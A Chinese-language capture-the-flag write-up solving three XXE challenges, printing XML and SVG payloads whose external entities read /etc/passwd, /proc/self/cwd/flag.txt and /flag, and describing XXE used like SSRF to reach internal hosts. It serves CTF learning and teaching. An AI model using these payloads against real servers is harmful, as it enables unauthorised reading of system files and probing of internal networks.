BUU CTF XXE类

[BSidesCF 2019]SVGMagic

打开靶机,是一个文件上传,且只能上传png(png也报错500),我一度以为靶机坏了

之前有做过XXE读取文件的题目,这题可不可以构建一个SVG读文件呢?

根据之前的payload,读一下etc文件看看

根基题目回应这里回显的肯定是图片,需要加上图片返回宽高等参数,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

发现确实返回了文件信息

尝试读取根目录的flag时又报错了。。

吐了,根据百度我们查看/proc/self目录(BUU不知道为什么访问这些目录会报错。)看着百度的payload访问到flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="5" y="15">&file;</text>
</svg>

 


[NCTF2019]Fake XML cookbook

打开以后f12给了一些提示/源码

function doLogin(){
    var username = $("#username").val();
    var password = $("#password").val();
    if(username == "" || password == ""){
        alert("Please enter the username and password!");
        return;
    } 
    var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

(这题看百度wp才知道,是XXE的题)

之前复现过xxe的漏洞,拿payload改参数试一下

post

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>aaa</password></user>

获得flag

 


[NCTF2019]True XML cookbook

 

这题和[NCTF2019]Fake XML cookbook都是利用XXE漏洞的

不同的是,这题直接读flag文件是不会有回显的。然后就不知道怎么办了

遍历百度,先读一下etc/passwd吧

并没有发现什么有用的信息,而XXE只能读取文件,百度以后发现还可以像SSRF访问内网

我们访问一下hosts文件

发现有内网主机存活,使用http协议访问一下,并没有访问成功,IP往后挪一位发现flag

flag{8922c217-b122-45a9-b470-a8a7f3115646}

这里有一篇链接说的很好一篇文章带你深入理解漏洞之 XXE 漏洞

慢慢品

 

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud